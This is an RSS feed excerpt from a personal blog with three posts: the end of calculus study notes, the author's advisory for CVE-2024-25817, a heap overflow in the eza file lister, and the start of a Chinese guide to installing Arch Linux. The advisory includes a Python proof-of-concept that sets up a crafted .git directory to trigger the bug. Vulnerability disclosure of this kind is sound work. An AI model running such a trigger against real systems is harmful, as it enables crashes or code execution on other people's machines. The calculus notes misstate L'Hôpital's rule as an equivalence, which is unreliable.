&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\Delta y}{\Delta u} \cdot \frac{\Delta u}{\Delta x}\
&amp;amp; =\left(\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\Delta y}{\Delta u}\right)\left(\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\Delta u}{\Delta x}\right)\
&amp;amp; =\left(\displaystyle \lim _{\Delta u\rightarrow 0}\frac{\Delta y}{\Delta u}\right)\left(\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\Delta u}{\Delta x}\right)\
&amp;amp; =\frac{dy}{du} \cdot \frac{du}{dx}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$\mathnormal{Quotient\ Rule\ Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left[\frac{f( x)}{g( x)}\right] &amp;amp; =\frac{d}{dx}\left[ f( x) \cdot [ g( x)]^{-1}\right]\
&amp;amp; =f^{\prime }[ x]( g( x))^{-1} -f[ x]( g( x))^{-2} g^{\prime }( x)\
&amp;amp; =\frac{f^{\prime }( x)}{g( x)} -\frac{f( x) g^{\prime }( x)}{[ g( x)]^{2}}\
&amp;amp; =\frac{f^{\prime }( x) g( x) -f( x) g^{\prime }( x)}{[ g( x)]^{2}}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h1&gt;Proof: L&apos;Hôpital&apos;s rule&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
This isn&apos;t full proof of L&apos;Hôpital&apos;s rule, just a special case. But it should give some intuition for why it works.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;$$
f( a) =0,\ g( a) =0;\ f^{\prime} ( a) \ exists,\ g^{\prime} ( a) \ exists\ \Longleftrightarrow \ \displaystyle \lim _{x\rightarrow a}\frac{f( x)}{g( x)} =\frac{f^{\prime} ( a)}{g^{\prime} ( a)}
$$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{f^{\prime }( a)}{g^{\prime }( a)} &amp;amp; =\frac{\displaystyle \lim _{x\rightarrow a}\frac{f( x) -f( a)}{x-a}}{\displaystyle \lim _{x\rightarrow a}\frac{g( x) -g( a)}{x-a}} &amp;amp; \
&amp;amp; =\displaystyle \lim _{x\rightarrow a}\frac{f( x) -f( a)}{g( x) -g( a)} &amp;amp; \
&amp;amp; =\displaystyle \lim _{x\rightarrow a}\frac{f( x)}{g( x)} &amp;amp; We\ know\ f( a) \ and\ g( a) \ both\ equal\ to\ zero \
&amp;amp; &amp;amp; Q.E.D
\end{aligned}
$$&lt;/p&gt;
&lt;h1&gt;Mean Value Theorem&lt;/h1&gt;
&lt;p&gt;If $f$ is continuous over $[ a,\ b]$ and every point over $( a,\ b)$ is differentiable. Then there exists some $c\in ( a,\ b)$ where $\displaystyle \frac{\Delta y}{\Delta x} =\frac{f( b) -f( a)}{b-a} =f^{\prime }( c)$&lt;/p&gt;
&lt;h1&gt;Extreme Value Theorem&lt;/h1&gt;
&lt;p&gt;$f$ continuous over $[ a,\ b] \Longrightarrow \exists \ c,\ d\in [ a,\ b] :f( c) \leqslant f( x) \leqslant f( d)$ for all $x\in [ a,\ b]$&lt;/p&gt;
&lt;p&gt;critical points exists when non endpoint point at $$x=a\ \begin{cases} f^{\prime }( a) =0\ f^{\prime }( a) \ undefined \end{cases}$$&lt;/p&gt;
&lt;h1&gt;Definite Integral &amp;amp; Riemann Sum&lt;/h1&gt;
&lt;p&gt;The definite integral of a continuous function $f$ over the interval $[ a,\ b]$, denoted by $\displaystyle \int _{a}^{b} f( x) dx$, is the limit of a Riemann sum as the number of subdivisions approaches infinity.&lt;/p&gt;
&lt;p&gt;$$
\displaystyle \int _{a}^{b} f( x) dx=\lim _{n\rightarrow \infty }\sum &lt;em&gt;{i=1}^{n} f( x&lt;/em&gt;{i}) \Delta x
$$&lt;/p&gt;
&lt;p&gt;Where $\displaystyle \Delta x=\frac{b-a}{n}$ and $x_{i} =a+\Delta x\cdot i$&lt;/p&gt;
&lt;h1&gt;Definite integrals properties&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Sum/Difference:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int _{a}^{b}[ f( x) \pm g( x)] dx=\int _{a}^{b} f( x) dx\pm \int _{a}^{b} g( x) dx$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Constant multiple:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int _{a}^{b} k\cdot f( x) dx=k\int _{a}^{b} f( x) dx$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reverse interval:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int _{a}^{b} f( x) dx=-\int _{b}^{a} f( x) dx$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zero-length interval:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int _{a}^{a} f( x) dx=0$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adding intervals:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int _{a}^{b} f( x) dx+\int _{b}^{c} f( x) dx=\int _{a}^{c} f( x) dx$$&lt;/p&gt;
&lt;p&gt;这么简单的东西相信你一定也知道怎么证。&lt;s&gt;那证明就略略略了吧～&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;First fundamental theorem of calculus&lt;/h1&gt;
&lt;p&gt;Let $f$ be a continuous real−valued function defined on $[ a,\ b]$. And $F$ be the function defined, for all $x$ in $[ a,\ b]$, by $\displaystyle F( x) =\int _{a}^{x} f( t) dt$&lt;/p&gt;
&lt;p&gt;Then $F$ is uniformly continuous on $[ a,\ b]$ and differentiable on the open interval $( a,\ b)$, and $\displaystyle F^{\prime }( x) =f( x)$ for all $x$ in $( a,\ b)$ so $F$ is an antiderivative of $f$.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icf34xh5n.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Second fundamental theorem of calculus / Newton–Leibniz theorem&lt;/h1&gt;
&lt;p&gt;Let $f$ be a continuous real−valued function defined on $[ a,\ b]$ and $F$ is a continuous function on $[ a,\ b]$ which is an antiderivative of $f$ in $( a,\ b)$: $\displaystyle F^{\prime }( x) =f( x)$&lt;/p&gt;
&lt;p&gt;If $f$ is Riemann integrable on $[ a,\ b]$ then $\displaystyle \int _{a}^{b} f( x) dx=F( b) -F( a)$&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6n6enu.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Reverse power rule&lt;/h1&gt;
&lt;p&gt;$$\displaystyle \int x^{n} dx=\frac{x^{n+1}}{n+1} +C,\ n\neq -1$$&lt;/p&gt;
&lt;p&gt;Yes that just simple!&lt;/p&gt;
&lt;h1&gt;Indefinite integration rules&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Polynomials&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int x^{n} dx=\frac{x^{n+1}}{n+1} +C$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Radicals&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \sqrt[m]{x^{n}} dx=\frac{x^{\frac{n}{m} +1}}{\frac{n}{m} +1} +C$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigonometric functions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \sin( x) dx=-\cos( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \cos( x) dx=\sin( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \sec^{2}( x) dx=\tan( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \csc^{2}( x) dx=-\cot( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \sec( x)\tan( x) dx=\sec( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \csc( x)\cot( x) dx=-\csc( x) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \sec xdx=\ln| \sec x+\tan x| +C$$（分子分母同乘 $\sec x+\tan x$）&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \csc xdx=\ln| \csc x-\cot x| +C$$（分子分母同乘 $\csc x-\cot x$）&lt;/p&gt;
&lt;p&gt;下面是另一种方法求这两个不定积分：&lt;/p&gt;
&lt;p&gt;$$
\begin{array}{ l l l }
\displaystyle \int \sec xdx &amp;amp; =\displaystyle \int \frac{1}{\cos x} dx &amp;amp; \
&amp;amp; =\displaystyle \int \frac{\cos x}{\cos^{2} x} dx &amp;amp; \
&amp;amp; =\displaystyle \int \frac{1}{1-\sin^{2} x}\cos xdx &amp;amp; Let\ u=\sin x\
&amp;amp; =\displaystyle \int \frac{1}{( 1+u)( 1-u)} du &amp;amp; \
&amp;amp; =\displaystyle \frac{1}{2}\int \left(\frac{1}{1+u} +\frac{1}{1-u}\right) du &amp;amp; Partial\ fractions\
&amp;amp; =\displaystyle \frac{1}{2}\ln\left| \frac{1+u}{1-u}\right| +C &amp;amp; \
&amp;amp; =\displaystyle \frac{1}{2}\ln\left| \frac{1+\sin x}{1-\sin x}\right| +C &amp;amp;
\end{array}
$$&lt;/p&gt;
&lt;p&gt;$$
\begin{array}{ l l l }
\displaystyle \int \csc xdx &amp;amp; =\displaystyle \int \frac{1}{\sin x} dx &amp;amp; \
&amp;amp; =\displaystyle \int \frac{\sin x}{\sin^{2} x} dx &amp;amp; \
&amp;amp; =\displaystyle \int \frac{1}{1-\cos^{2} x}\sin xdx &amp;amp; Let\ u=\cos x\
&amp;amp; =\displaystyle -\int \frac{1}{( 1+u)( 1-u)} du &amp;amp; \
&amp;amp; =\displaystyle -\frac{1}{2}\int \left(\frac{1}{1+u} +\frac{1}{1-u}\right) du &amp;amp; Partial\ fractions\
&amp;amp; =\displaystyle -\frac{1}{2}\ln\left| \frac{1+u}{1-u}\right| +C &amp;amp; \
&amp;amp; =\displaystyle -\frac{1}{2}\ln\left| \frac{1+\cos x}{1-\cos x}\right| +C &amp;amp;
\end{array}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exponential functions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int e^{x} dx=e^{x} +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int a^{x} dx=\frac{a^{x}}{\ln( a)} +C$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Logarithmic functions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \frac{1}{x} dx=\ln |x|+C$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inverse trigonometric functions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \frac{1}{\sqrt{a^{2} -x^{2}}} dx=\arcsin\left(\frac{x}{a}\right) +C$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \frac{1}{a^{2} +x^{2}} dx=\frac{1}{a}\arctan\left(\frac{x}{a}\right) +C$$&lt;/p&gt;
&lt;h1&gt;Integration by parts&lt;/h1&gt;
&lt;p&gt;$$\displaystyle \int uvdx=u\int vdx-\int \left( u^{\prime }\int vdx\right) dx$$&lt;/p&gt;
&lt;h1&gt;Integration by reduction formulae&lt;/h1&gt;
&lt;p&gt;$$\displaystyle \int \sin^{n} xdx=-\frac{1}{n}\sin^{n-1} x\cos x+\frac{n-1}{n}\int \sin^{n-2} xdx$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \cos^{n} xdx=\frac{1}{n}\cos^{n-1} x\sin x+\frac{n-1}{n}\int \cos^{n-2} xdx$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int \tan^{n} xdx=\frac{1}{n-1}\tan^{n-1} x-\int \tan^{n-2} xdx$$&lt;/p&gt;
&lt;p&gt;$$\displaystyle \int (\ln x)^{n} dx=x(\ln x)^{n} -n\int (\ln x)^{n-1} dx$$&lt;/p&gt;
</content:encoded></item><item><title>CVE-2024-25817: eza</title><link>https://cubeyond.net/posts/my-cves/eza-cve-report/</link><guid isPermaLink="true">https://cubeyond.net/posts/my-cves/eza-cve-report/</guid><description>&quot;In eza, there exists a potential heap overflow vulnerability, first seen when using Ubuntu for Raspberry Pi series system, on `ubuntu-raspi` kernel, relating to the `.git` directory.&quot;</description><pubDate>Wed, 07 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;In &lt;code&gt;eza&lt;/code&gt; [^1] (before &lt;code&gt;v0.18.11&lt;/code&gt;), there exists a heap overflow vulnerability, first seen when using Ubuntu for Raspberry Pi series system, on &lt;code&gt;ubuntu-raspi&lt;/code&gt; kernel, relating to the &lt;code&gt;.git&lt;/code&gt; directory.&lt;/p&gt;
&lt;h1&gt;Details&lt;/h1&gt;
&lt;p&gt;The vulnerability seems to be triggered by the &lt;code&gt;.git&lt;/code&gt; directory in some projects. This issue may be related to specific files, and the directory structure also plays a role in triggering the vulnerability. Files/folders that may be involved in triggering the vulnerability include &lt;code&gt;.git/HEAD&lt;/code&gt;, &lt;code&gt;.git/refs&lt;/code&gt;, and &lt;code&gt;.git/objects&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;PoC - If you have Raspberry Pi 4B bare metal machine&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;If you don&apos;t have Raspberry Pi bare metal, you can try emulate a ubuntu for raspberry system in virtual machine.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You just need install any one of Ubuntu for Raspberry Pi series system in your bare metal machine.&lt;/p&gt;
&lt;h2&gt;Tested platform info&lt;/h2&gt;
&lt;p&gt;Configuration in &lt;code&gt;Raspberry Pi 4B&lt;/code&gt; bare metal machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eza version: v0.18.10 [+git]

Linux lux 5.15.0-1049-raspi #52-Ubuntu SMP PREEMPT Thu Mar 14 08:39:42 UTC 2024 aarch64 aarch64 aarch64 GNU/Linux

Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
So far I have only tested the &lt;code&gt;Ubuntu 22.04.4 LTS Server&lt;/code&gt; and confirmed that this vulnerability exists. I haven&apos;t test other System/Raspberry Pi yet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Steps&lt;/h2&gt;
&lt;p&gt;Install &lt;code&gt;eza (&amp;lt;=v0.18.10)&lt;/code&gt; in Raspberry Pi. Process can refer to the official &lt;a href=&quot;https://github.com/eza-community/eza/blob/main/INSTALL.md&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import os
import shutil
import subprocess

# Step 1: Clone the repository
repo_url = &quot;https://github.com/umami-software/umami.git&quot;
subprocess.run([&quot;git&quot;, &quot;clone&quot;, repo_url])

# Step 2: Checkout to the specific commit contain the special &apos;.git&apos; directory that can trigger the vulnerability
repo_dir = &quot;umami&quot;
commit_hash = &quot;a38baa5&quot;
os.chdir(repo_dir)
subprocess.run([&quot;git&quot;, &quot;checkout&quot;, commit_hash])

# Step 3: Create a directory for the vulnerability related files
os.chdir(&quot;..&quot;)
os.mkdir(&quot;suspicious&quot;)
shutil.move(os.path.join(repo_dir, &quot;.git&quot;), &quot;suspicious/.git&quot;)

# Step 4: Remove unrelated files/directories
shutil.rmtree(repo_dir)

# Step 5: Trigger the vulnerability
subprocess.run([&quot;eza&quot;, &quot;-l&quot;, &quot;--git&quot;, &quot;suspicious/.git&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.23262laj6h.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
The picture shows my test environment. In actual testing, the vulnerability can be triggered by just using the above script.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Impact&lt;/h1&gt;
&lt;p&gt;Arbitrary code execution.&lt;/p&gt;
&lt;h1&gt;Severity using CVSS&lt;/h1&gt;
&lt;p&gt;Severity: &lt;code&gt;High 8.4&lt;/code&gt;&amp;lt;br /&amp;gt;
Vector string: &lt;code&gt;CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Weaknesses&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Heap-based Buffer Overflow (CWE-122)&lt;/li&gt;
&lt;li&gt;Improper Restriction of Operations within the Bounds of a Memory Buffer
(CWE-119)&lt;/li&gt;
&lt;li&gt;Missing Release of Memory after Effective Lifetime (CWE-401)&lt;/li&gt;
&lt;li&gt;Improper Resource Shutdown or Release (CWE-404)&lt;/li&gt;
&lt;li&gt;Improper Initialization (CWE-665)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;GitHub Advisories&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Advisories.[^3]&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;NIST&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;National Vulnerability Database.&lt;a href=&quot;%5BCVE-2024-25817%5D(https://nvd.nist.gov/vuln/detail/CVE-2024-25817)&quot;&gt;^4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Solution&lt;/h1&gt;
&lt;p&gt;Update eza to &lt;code&gt;0.18.11&lt;/code&gt; or higher version.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;p&gt;[^1]:
&lt;a href=&quot;https://github.com/eza-community/eza/tree/main&quot;&gt;eza&lt;/a&gt;: A modern,
maintained replacement for ls.&lt;/p&gt;
&lt;p&gt;[^3]: &lt;a href=&quot;https://github.com/advisories/GHSA-3qx3-6hxr-j2ch&quot;&gt;GitHub Advisories&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Arch Linux + Bspwm 配置小记</title><link>https://cubeyond.net/posts/linux/archlinux-configure-note/</link><guid isPermaLink="true">https://cubeyond.net/posts/linux/archlinux-configure-note/</guid><description>Arch Linux 安装小记</description><pubDate>Sat, 29 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;首先 flex 一下成品图&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9fr99d9.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175on4wtrm.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.491kocy5ys.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7pq42api.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;PS: 上面的成品图已经是远古时期的了，最新效果请看我的项目 &lt;a href=&quot;https://github.com/CuB3y0nd/1llusion&quot;&gt;1llusion&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;分区方案规划&lt;/h1&gt;
&lt;p&gt;首先确定你要给 &lt;code&gt;Arch Linux&lt;/code&gt; 划分多少内存。因为我电脑里是一块 1TB 的硬盘，所以我分了 512GB 给它，剩下的都留着给 Windows 用。&lt;/p&gt;
&lt;p&gt;一个比较通用的方案是分以下三个区：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EFI 分区：/efi 800MB&lt;/li&gt;
&lt;li&gt;根分区：/ 100GB&lt;/li&gt;
&lt;li&gt;用户主目录：/home 剩余全部&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我设想的 Linux 分区方案如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4GB EFI&lt;/li&gt;
&lt;li&gt;200GB root&lt;/li&gt;
&lt;li&gt;300GB home&lt;/li&gt;
&lt;li&gt;8GB swap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;swap&lt;/code&gt; 分区虽然不一定用得上，但是个人建议分一下。一般设置为 &lt;code&gt;RAM&lt;/code&gt; 的一半。不想给那么多的也可以直接给 2GB。&lt;/p&gt;
&lt;p&gt;因为某些原因，我给 &lt;code&gt;EFI 分区&lt;/code&gt; 4GB，实际上这个分区使用 800MB 即可。&lt;/p&gt;
&lt;h1&gt;确认 EFI 分区 大小&lt;/h1&gt;
&lt;p&gt;首先要确认 Windows 的 &lt;code&gt;EFI 分区&lt;/code&gt; 大小是多少。如果你是 Win 10/Win 11 用户，按 &lt;code&gt;Win + X&lt;/code&gt; 打开 &lt;strong&gt;磁盘管理器&lt;/strong&gt;，在 &lt;strong&gt;磁盘 0&lt;/strong&gt; 那块找到括号里写 &lt;strong&gt;EFI 系统分区&lt;/strong&gt; 的那部分分区大小，记录下来，后面要用到。我这里是 100MB。&lt;/p&gt;
&lt;h1&gt;确认分区表类型&lt;/h1&gt;
&lt;p&gt;本篇文章仅针对使用 &lt;strong&gt;GPT 分区表&lt;/strong&gt; 的用户，如果你是 MBR 的话部分安装指令需要修改，不能照抄。这里提供两种确认方式：&lt;/p&gt;
&lt;h2&gt;方法一&lt;/h2&gt;
&lt;p&gt;在 &lt;strong&gt;磁盘管理器&lt;/strong&gt; 中，右键 &lt;strong&gt;磁盘 0&lt;/strong&gt; 选择 &lt;strong&gt;属性&lt;/strong&gt; 点击 &lt;strong&gt;卷&lt;/strong&gt;，查看 &lt;strong&gt;磁盘分区形式&lt;/strong&gt; 是否为 &lt;code&gt;GPT 分区表&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;方法二&lt;/h2&gt;
&lt;p&gt;部分用户右键 &lt;strong&gt;磁盘 0&lt;/strong&gt; 可能会发现属性按钮是灰色的，无法点击，这里提供一种命令行的解决方案：「&lt;code&gt;Win + R&lt;/code&gt; 输入 &lt;code&gt;diskpart&lt;/code&gt; 回车，在打开的命令行窗口中输入 &lt;code&gt;list disk&lt;/code&gt; 指令」，输出结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhdcf4j00.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果看到 &lt;strong&gt;磁盘 0&lt;/strong&gt; 的 &lt;strong&gt;GPT 列表&lt;/strong&gt; 标注了一个 &lt;strong&gt;*&lt;/strong&gt;，说明你符合我们的安装要求，可以进行下一步操作了。&lt;/p&gt;
&lt;h1&gt;划分空间&lt;/h1&gt;
&lt;p&gt;打开 &lt;strong&gt;磁盘管理器&lt;/strong&gt;，右键 &lt;code&gt;C盘&lt;/code&gt; 的主空间选择 &lt;strong&gt;压缩卷&lt;/strong&gt; 在 &lt;strong&gt;输入压缩空间量&lt;/strong&gt; 中输入你想给 Linux 划分的内存大小，单位 &lt;em&gt;MB（1GB = 1024MB）&lt;/em&gt; 比如我这里分出去 &lt;em&gt;512GB&lt;/em&gt;，也就是 &lt;em&gt;524,288 MB&lt;/em&gt; 压缩完会看到一个黑色的未分配空间，这时候我们进入下一步操作，&lt;strong&gt;不要右键新建简单卷！&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;关闭快速启动并关闭休眠&lt;/h1&gt;
&lt;p&gt;为了双系统的安全性着想，需要关闭 Windows 的 &lt;code&gt;快速启动&lt;/code&gt; 并关闭 &lt;code&gt;休眠&lt;/code&gt; 选项至于为什么要关闭这两个选项见 &lt;a href=&quot;https://wiki.archlinux.org/title/Dual_boot_with_Windows&quot;&gt;Dual boot with Windows&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;通过 &lt;a href=&quot;https://dism.cf/&quot;&gt;Dism++&lt;/a&gt; 软件可以轻易的关闭这两个选项：&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Dism++&lt;/code&gt; -&amp;gt; &lt;code&gt;控制面板：系统优化&lt;/code&gt; -&amp;gt; &lt;code&gt;其它&lt;/code&gt; 即可找到这两个选项并关闭。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows 更新可能会自动开启这两个选项，因此每次重大更新后都应该检查一下这两个选项的状态。&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;准备安装盘&lt;/h1&gt;
&lt;p&gt;准备一个至少 &lt;code&gt;8GB&lt;/code&gt; 大小的 U 盘，里面重要数据可以先备份一下，后面要格式化。&lt;/p&gt;
&lt;p&gt;首先下载 &lt;a href=&quot;https://rufus.ie/&quot;&gt;Rufus 烧录工具&lt;/a&gt; 和 &lt;a href=&quot;https://archlinux.org/download/&quot;&gt;Arch Linux 镜像文件&lt;/a&gt;，镜像下载完后可以使用以下指令验证文件的完整性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil -hashfile &amp;lt;filename&amp;gt; SHA256
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后复制输出的哈希值，去 Arch Linux 官网给出的 &lt;code&gt;sha256sum&lt;/code&gt; 中核对有没有问题。如果匹配则说明文件没有问题。&lt;/p&gt;
&lt;p&gt;打开下载好的 &lt;code&gt;Rufus&lt;/code&gt; 工具，选择你的安装介质和刚才下载的镜像，其它参数默认，然后烧录。&lt;/p&gt;
&lt;p&gt;烧录完成后不用拔出安装介质，直接重启电脑，进入 &lt;code&gt;BIOS 模式&lt;/code&gt;，选择从你的 U 盘 启动，启动项一般包含 &lt;code&gt;UEFI&lt;/code&gt; 字眼。&lt;/p&gt;
&lt;p&gt;如果你不知道如何进入 &lt;code&gt;BIOS&lt;/code&gt;，请自行百度。例：华硕进入 BIOS 按键。&lt;/p&gt;
&lt;p&gt;如果发现无法从 U 盘 启动，提示需要关闭 &lt;code&gt;Secure Boot&lt;/code&gt; 的，请参考下文的方式关闭它。&lt;/p&gt;
&lt;h1&gt;关闭 Secure Boot&lt;/h1&gt;
&lt;p&gt;因为从外部介质启动系统会被 &lt;code&gt;Secure Boot&lt;/code&gt; ban，所以这里需要先去 &lt;code&gt;BIOS&lt;/code&gt; 中禁用 &lt;code&gt;Secure Boot&lt;/code&gt; 选项。&lt;/p&gt;
&lt;p&gt;这个选项一般在 &lt;code&gt;BIOS&lt;/code&gt; 的 &lt;code&gt;Advanced Settings&lt;/code&gt; 的 &lt;code&gt;Security Settings&lt;/code&gt; 选项中。将 &lt;code&gt;Enable&lt;/code&gt; 改为 &lt;code&gt;Disable&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;关闭后请按照上面的说明再次进入 U 盘 启动，在打开的选择界面中选择第一项进行系统的安装。&lt;/p&gt;
&lt;h1&gt;Arch Linux 系统安装&lt;/h1&gt;
&lt;h2&gt;调大显示字体&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;setfont ter-132b
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;确认是否为 UEFI&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ls /sys/firmware/efi/efivars
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果用上面这条指令后输出了一堆东西则说明处于 &lt;code&gt;UEFI&lt;/code&gt;，如果没有，那你可能只能用 &lt;code&gt;Legacy&lt;/code&gt; 启动了。&lt;/p&gt;
&lt;h2&gt;禁用并停止自动匹配最快源服务&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;reflector&lt;/code&gt; 会为你选择速度合适的镜像源，但其结果并不准确，同时会清空配置文件中的内容，对于新人来讲并不适用，我们首先对其进行禁用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl disable reflector.service
systemctl stop reflector.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置时区&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;timedatectl set-timezone Asia/Shanghai
timedatectl status
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分区&lt;/h2&gt;
&lt;p&gt;先用 &lt;code&gt;lsblk&lt;/code&gt; 指令查看你的硬盘是哪块，然后通过 &lt;code&gt;cfdisk&lt;/code&gt; 指令进行分区。&lt;/p&gt;
&lt;p&gt;这是我的分区方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4G - EFI&lt;/li&gt;
&lt;li&gt;200G - root&lt;/li&gt;
&lt;li&gt;300G - home&lt;/li&gt;
&lt;li&gt;8G - swap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;cfdisk&lt;/code&gt; 分好区之后记得要 &lt;strong&gt;设置类型&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;nvme0n1&lt;/code&gt; 是我的硬盘 ID，记得替换为你自己的。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;lsblk
cfdisk /dev/nvme0n1
&lt;/code&gt;&lt;/pre&gt;
